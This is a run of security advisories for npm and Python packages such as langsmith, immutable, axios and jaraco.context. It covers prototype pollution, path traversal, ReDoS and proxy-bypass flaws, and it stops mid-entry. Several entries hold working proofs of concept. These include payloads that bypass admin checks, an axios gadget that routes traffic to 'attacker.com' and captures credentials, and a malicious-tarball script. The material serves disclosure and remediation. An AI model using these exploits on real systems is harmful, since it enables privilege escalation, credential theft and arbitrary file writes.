The basic-ftp FTP client library for Node.js contains a path traversal vulnerability (CWE-22) in versions prior to 5.2.0 in the downloadToDir() method. A malicious FTP server can send directory listings with filenames containing path traversal sequences (../) that cause files to be written outside the intended download directory. Version 5.2.0 patches the issue.
Memory-safety vulnerability in github.com/jackc/pgx/v5.
GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk
Severity: Medium (CVSS ~5.6) Status: Fixed in 0.5.18
---
Summary
The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the proto key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.
---
Affected Products
| Product | Affected Versions | Component | |---------|-------------------|-----------| | langsmith (npm) | <= 0.5.17 | js/src/utils/lodash/baseAssignValue.ts, js/src/anonymizer/index.ts | | langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |
Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.
---
Root Cause
The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:
typescript function baseAssignValue(object: Record<string, any>, key: string, value: any) { if (key === "proto") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value: value, writable: true, }); } else { object[key] = value; // ← No guard for "constructor" or "prototype" keys } }
This blocks proto pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":
1. castPath() splits it into ["constructor", "prototype", "polluted"] 2. baseSet() iterates: obj.constructor → Object → Object.prototype 3. assignValue(Object.prototype, "polluted", value) calls baseAssignValue() 4. Key is "polluted" (not "proto"), so the guard is bypassed 5. Object.prototype.polluted = value — all objects are polluted
---
Attack Vector via Anonymizer
The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:
1. Extracting string nodes — extractStringNodes() walks an object recursively and builds dotted paths from keys 2. Applying regex replacements — If a string value matches a configured pattern, the node is marked for update (anonymizer/index.ts:95) 3. Writing back with set() — set(mutateValue, node.path, node.value) writes the replaced value back (anonymizer/index.ts:123)
An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:
javascript { wrapper: { "constructor.prototype.isAdmin": "contains-secret-pattern" } }
extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.
Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.
---
Proof of Concept
javascript import { createAnonymizer } from "langsmith/anonymizer";
const anonymizer = createAnonymizer([ { pattern: "secret", replace: "[REDACTED]" } ]);
console.log("BEFORE:", ({}).isAdmin); // undefined
const maliciousInput = { wrapper: { "constructor.prototype.isAdmin": "this-is-secret-data" } };
anonymizer(maliciousInput);
console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data" console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"
function checkAccess(user) { if (user.isAdmin) return "ACCESS GRANTED"; return "ACCESS DENIED"; } console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED
---
Impact
Prototype pollution in a Node.js process can enable:
1. Authentication bypass — if (user.isAdmin) checks succeed on all objects 2. Remote Code Execution — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach eval()/Function() sinks 3. Denial of Service — Overwriting toString, valueOf, or hasOwnProperty on all objects 4. Data exfiltration — Polluting serialization methods to inject attacker-controlled values
---
Remediation
In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:
typescript function baseAssignValue(object, key, value) { if (key === "proto" || key === "constructor" || key === "prototype") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value, writable: true, }); } else { object[key] = value; } }
As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().
---
Timeline
| Date | Event | |------|-------| | 2026-03-24 | Initial report submitted | | 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |
---
Credits
Reported by: OneThing4101
Summary A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, < 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2
Details The vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings.
PoC Steps to reproduce 1. Install latest version of swiper using npm install 2. Run the following code snippet: javascript var swiper = require('swiper'); Array.prototype.indexOf = () => -1; let obj = {}; var maliciouspayload = '{"proto":{"polluted":"yes"}}'; console.log({}.polluted); swiper.default.extendDefaults(JSON.parse(maliciouspayload)); console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and prototype pollution occurred
Expected behavior Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: undefined undefined OR throw an Error
Actual behavior Object.prototype is polluted This is printed on the console: undefined yes
Impact This is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected. It could potentially lead to the following problems: 1. Authentication bypass 2. Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global Array.prototype.indexOf property can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service. 3. Remote code execution (if polluted property is passed to sinks like eval or childprocess)
Related CVEs CVE-2026-25521 CVE-2026-25047 CVE-2026-26021
@isaacs/brace-expansion is a hybrid CJS/ESM TypeScript fork of brace-expansion. Prior to version 5.0.1, @isaacs/brace-expansion is vulnerable to a denial of service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process. This issue has been patched in version 5.0.1.
IBM Concert
Summary minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive wildcards followed by a literal character that doesn't appear in the test string. Each compiles to a separate [^/]? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.
The time complexity is O(4^N) where N is the number of characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC When minimatch compiles a glob pattern, each becomes [^/]? in the generated regex. For a pattern like X:
/^(?!\.)[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?X[^/]?[^/]?[^/]?$/
When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. Impact Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes: - File search/filter UIs that accept glob patterns - .gitignore-style filtering with user-defined rules - Build tools that accept glob configuration - Any API that exposes glob matching to untrusted input
Impact
A vulnerability in Multer versions < 2.1.1 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing stack overflow.
Patches
Users should upgrade to 2.1.1
Workarounds
None
Resources
- https://github.com/expressjs/multer/security/advisories/GHSA-5528-5vmv-3xc2 - https://www.cve.org/CVERecord?id=CVE-2026-3520 - https://github.com/expressjs/multer/commit/7e66481f8b2e6c54b982b34c152479e096ce2752 - https://cna.openjsf.org/security-advisories.html
Impact What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
Affected APIs
| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no proto guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |
Patches Has the problem been patched? What versions should users upgrade to?
| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |
Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input - Node.js flag --disable-proto - Lock down built-in objects - Avoid lookups on the prototype - Create JavaScript objects with null prototype
Proof of Concept
PoC 1 — mergeDeep privilege escalation
javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","proto":{"role":"admin","admin":true}}', );
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via proto!
// Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"proto":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with proto key const m = Map({ user: "alice" }).set("proto", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with proto key const m2 = Map({ user: "alice" }).set("proto", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true
// 6. Nested path const nested = JSON.parse('{"profile":{"proto":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe)
Verified output against immutable@5.1.4:
mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted
References Are there any links users can visit to find out more?
- JavaScript prototype pollution
Impact
Black provides a GitHub action for formatting code. This action supports an option, usepyproject: true, for reading the version of Black to use from the repository pyproject.toml. A malicious pull request could edit pyproject.toml to use a direct URL reference to a malicious repository. This could lead to arbitrary code execution in the context of the GitHub Action. Attackers could then gain access to secrets or permissions available in the context of the action.
Patches
Version 26.3.0 fixes this vulnerability by tightening the validation of the version field. Users who use the GitHub Action as psf/black@stable will automatically pick up this update.
Workarounds
Do not use the usepyproject: true option in the psf/black GitHub Action.
Impact
Black writes a cache file, the name of which is computed from various formatting options. The value of the --python-cell-magics option was placed in the filename without sanitization, which allowed an attacker who controls the value of this argument to write cache files to arbitrary file system locations.
Patches
Fixed in Black 26.3.1.
Workarounds
Do not allow untrusted user input into the value of the --python-cell-magics option.
spdystream is a Go library for multiplexing streams over SPDY connections. In versions 0.5.0 and below, the SPDY/3 frame parser does not validate attacker-controlled counts and lengths before allocating memory. Three allocation paths are affected: the SETTINGS frame entry count, the header count in parseHeaderValueBlock, and individual header field sizes — all read as 32-bit integers and used directly as allocation sizes with no bounds checking. Because SPDY header blocks are zlib-compressed, a small on-the-wire payload can decompress into large attacker-controlled values. A remote peer that can send SPDY frames to a service using spdystream can exhaust process memory and cause an out-of-memory crash with a single crafted control frame. This issue has been fixed in version 0.5.1.
Apache Thrift: Node.js skip() recursion
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', };
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } });
3. The Execution
At http.js:668-670: javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path );
setProxy() at http.js:191-239 then: javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } }
4. The Impact (Full MITM)
The attacker's proxy server receives:
http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, /
The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: - Sees every request URL, header, and body - Modifies every response (inject malicious data, change auth results) - Logs all API keys, session tokens, and passwords - Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
javascript import http from 'http'; import axios from './index.js';
// Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port;
// Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port;
// Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, { auth: { username: 'admin', password: 'SuperSecret123!' } });
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy; realServer.close(); proxyServer.close();
Verified PoC Output
[1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" }
[5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget)
Impact Analysis
- Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. - Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. - Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios26)
| Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location);
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact: - config.proxy — MITM - config.socketPath — Unix socket SSRF - config.transport — request hijack - config.lookup — DNS hijack - config.beforeRedirect — redirect manipulation - config.httpAgent / config.httpsAgent — agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
javascript // In lib/core/mergeConfig.js const config = Object.create(null);
Resources
- CWE-1321: Prototype Pollution - CWE-441: Unintended Proxy - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |
Summary There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in jaraco.context.tarball() function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The stripfirstcomponent filter splits the path on the first / and extracts the second component, while allowing ../ sequences. Paths like dummydir/../../etc/passwd become ../../etc/passwd. Note that this suffers from a nested tarball attack as well with multi-level tar files such as dummydir/inner.tar.gz, where the inner.tar.gz includes a traversal dummydir/../../config/.env that also gets translated to ../../config/.env.
The code can be found: - https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/init.py#L74-L91 - https://github.com/pypa/setuptools/blob/main/setuptools/vendor/jaraco/context.py#L55-L76 (inherited)
This report was also sent to setuptools maintainers and they asked some questions regarding this.
The lengthy answer is:
The vulnerability seems to be the stripfirstcomponent filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.
The short answer is:
If we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.
Sampled tests: <img width="1634" height="245" alt="image" src="https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb" />
Details
The flow with setuptools in the mix: setuptools.vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|') as tf: > tf.extractall(path=targetdir, filter=stripfirstcomponent) > stripfirstcomponent (Vulnerable)
PoC
This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies: py #!/usr/bin/env python3 import tarfile import io import os import sys import shutil import tempfile from setuptools.vendor.jaraco.context import stripfirstcomponent
def createmalicioustarball(): tardata = io.BytesIO() with tarfile.open(fileobj=tardata, mode='w') as tar: # Create a malicious file path with traversal sequences maliciousfiles = [ # Attempt 1: Simple traversal to /tmp { 'path': 'dummydir/../../tmp/pwnedbyzipslip.txt', 'content': b'[ZIPSLIP] File written to /tmp via path traversal!', 'name': 'pwnedviatmp' }, # Attempt 2: Try to write to home directory { 'path': 'dummydir/../../../../home/pwnedhome.txt', 'content': b'[ZIPSLIP] Attempted write to home directory', 'name': 'pwnedviahome' }, # Attempt 3: Try to write to current directory parent { 'path': 'dummydir/../escaped.txt', 'content': b'[ZIPSLIP] File in parent directory!', 'name': 'pwnedescaped' }, # Attempt 4: Legitimate file for comparison { 'path': 'dummydir/legitimatefile.txt', 'content': b'This file stays in target directory', 'name': 'legitimate' } ] for fileinfo in maliciousfiles: content = fileinfo['content'] tarinfo = tarfile.TarInfo(name=fileinfo['path']) tarinfo.size = len(content) tar.addfile(tarinfo, io.BytesIO(content))
tardata.seek(0) return tardata
def exploitzipslip(): print("[] Target: setuptools.vendor.jaraco.context.tarball()")
# Create temporary directory for extraction tempbase = tempfile.mkdtemp(prefix="zipsliptest") targetdir = os.path.join(tempbase, "extractiontarget")
try: os.mkdir(targetdir) print(f"[+] Created target extraction directory: {targetdir}")
# Create malicious tarball print("[] Creating malicious tar archive...") tardata = createmalicioustarball()
try: with tarfile.open(fileobj=tardata, mode='r') as tf: for member in tf: # Apply the ACTUAL vulnerable function from setuptools processedmember = stripfirstcomponent(member, targetdir) print(f"[] Extracting: {member.name:40} -> {processedmember.name}") # Extract to target directory try: tf.extract(processedmember, path=targetdir) print(f" ✓ Extracted successfully") except (PermissionError, FileNotFoundError) as e: print(f" ! {type(e).name}: Path traversal ATTEMPTED") except Exception as e: print(f"[!] Extraction raised exception: {type(e).name}: {e}") # Check results print("[] Checking for extracted files...")
# Check target directory print(f"[] Files in target directory ({targetdir}):") if os.path.exists(targetdir): for root, , files in os.walk(targetdir): level = root.replace(targetdir, '').count(os.sep) indent = ' ' 2 level print(f"{indent}{os.path.basename(root)}/") subindent = ' ' 2 (level + 1) for file in files: filepath = os.path.join(root, file) try: with open(filepath, 'r') as f: content = f.read()[:50] print(f"{subindent}{file}") print(f"{subindent} └─ {content}...") except: print(f"{subindent}{file} (binary)") else: print(f"[!] Target directory not found!") print() print("[] Checking for traversal attempts...") print()
# Check if files escaped traversalattempts = [ ("/tmp/pwnedbyzipslip.txt", "Escape to /tmp"), (os.path.expanduser("~/pwnedhome.txt"), "Escape to home"), (os.path.join(tempbase, "escaped.txt"), "Escape to parent"), ]
escaped = False for checkpath, description in traversalattempts: if os.path.exists(checkpath): print(f"[+] Path Traversal Confirmed: {description}") print(f" File created at: {checkpath}") try: with open(checkpath, 'r') as f: content = f.read() print(f" Content: {content}") print(f" Removing: {checkpath}") os.remove(checkpath) except Exception as e: print(f" Error reading: {e}") escaped = True else: print(f"[-] OK: {description} - No escape detected")
if escaped: print("[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!") else: print("[-] No path traversal detected (mitigation in place)")
finally: # Cleanup print() print(f"[] Cleaning up: {tempbase}") try: shutil.rmtree(tempbase) except Exception as e: print(f"[!] Cleanup error: {e}")
def checkpythonversion(): print(f"[+] Python version: {sys.version}") # Python 3.11.4+ added DEFAULTFILTER if hasattr(tarfile, 'DEFAULTFILTER'): print("[+] Python has DEFAULTFILTER (tarfile security hardening)") else: print("[!] Python does not have DEFAULTFILTER (older version)") print()
if name == "main": checkpythonversion() exploitzipslip()
Output: [+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] [!] Python does not have DEFAULTFILTER (older version)
[] Target: setuptools.vendor.jaraco.context.tarball() [+] Created target extraction directory: /tmp/zipsliptesttnu3qpd5/extractiontarget [] Creating malicious tar archive... [] Extracting: ../../tmp/pwnedbyzipslip.txt -> ../../tmp/pwnedbyzipslip.txt ✓ Extracted successfully [] Extracting: ../../../../home/pwnedhome.txt -> ../../../../home/pwnedhome.txt ! PermissionError: Path traversal ATTEMPTED [] Extracting: ../escaped.txt -> ../escaped.txt ✓ Extracted successfully [] Extracting: legitimatefile.txt -> legitimatefile.txt ✓ Extracted successfully [] Checking for extracted files... [] Files in target directory (/tmp/zipsliptesttnu3qpd5/extractiontarget): extractiontarget/ legitimatefile.txt └─ This file stays in target directory...
[] Checking for traversal attempts...
[-] OK: Escape to /tmp - No escape detected [-] OK: Escape to home - No escape detected [+] Path Traversal Confirmed: Escape to parent File created at: /tmp/zipsliptesttnu3qpd5/escaped.txt Content: [ZIPSLIP] File in parent directory! Removing: /tmp/zipsliptesttnu3qpd5/escaped.txt [+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!
[] Cleaning up: /tmp/zipsliptesttnu3qpd5
Impact
- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files. - Privesc (LOW exploitability) - Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.
Remediation
I guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter stripfirstcomponent that skips or sanitizes ../ character sequences since it is already there eg. if member.name.startswith('/') or '..' in member.name: raise ValueError(f"Attempted path traversal detected: {member.name}")
Summary
A Path Traversal vulnerability exists when using non-default configuration options UPLOADDIR and UPLOADKEEPFILENAME=True. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename.
Details
When UPLOADDIR is set and UPLOADKEEPFILENAME is True, the library constructs the file path using os.path.join(filedir, fname). Due to the behavior of os.path.join(), if the filename begins with a /, all preceding path components are discarded:
py os.path.join("/upload/dir", "/etc/malicious") == "/etc/malicious" This allows an attacker to bypass the intended upload directory and write files to arbitrary paths. Affected Configuration Projects are only affected if all of the following are true: - UPLOADDIR is set - UPLOADKEEPFILENAME is set to True - The uploaded file exceeds MAXMEMORYFILESIZE (triggering a flush to disk)
The default configuration is not vulnerable. Impact Arbitrary file write to attacker-controlled paths on the filesystem. Mitigation Upgrade to version 0.0.22, or avoid using UPLOADKEEPFILENAME=True in project configurations.
Summary shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NOPROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.
Details lib/helpers/shouldBypassProxy.js (v1.15.0):
javascript const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NOPROXY and is not in LOOPBACKADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.
PoC javascript
// NOPROXY=127.0.0.1,localhost,::1 HTTPPROXY=http://attacker:8080 import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // All three should return true (bypass proxy). Only the first two do. console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] console.log(shouldBypassProxy('http://[::1]/')); // true [OK] console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass
Node.js routes ::ffff:7f00:1 to 127.0.0.1:
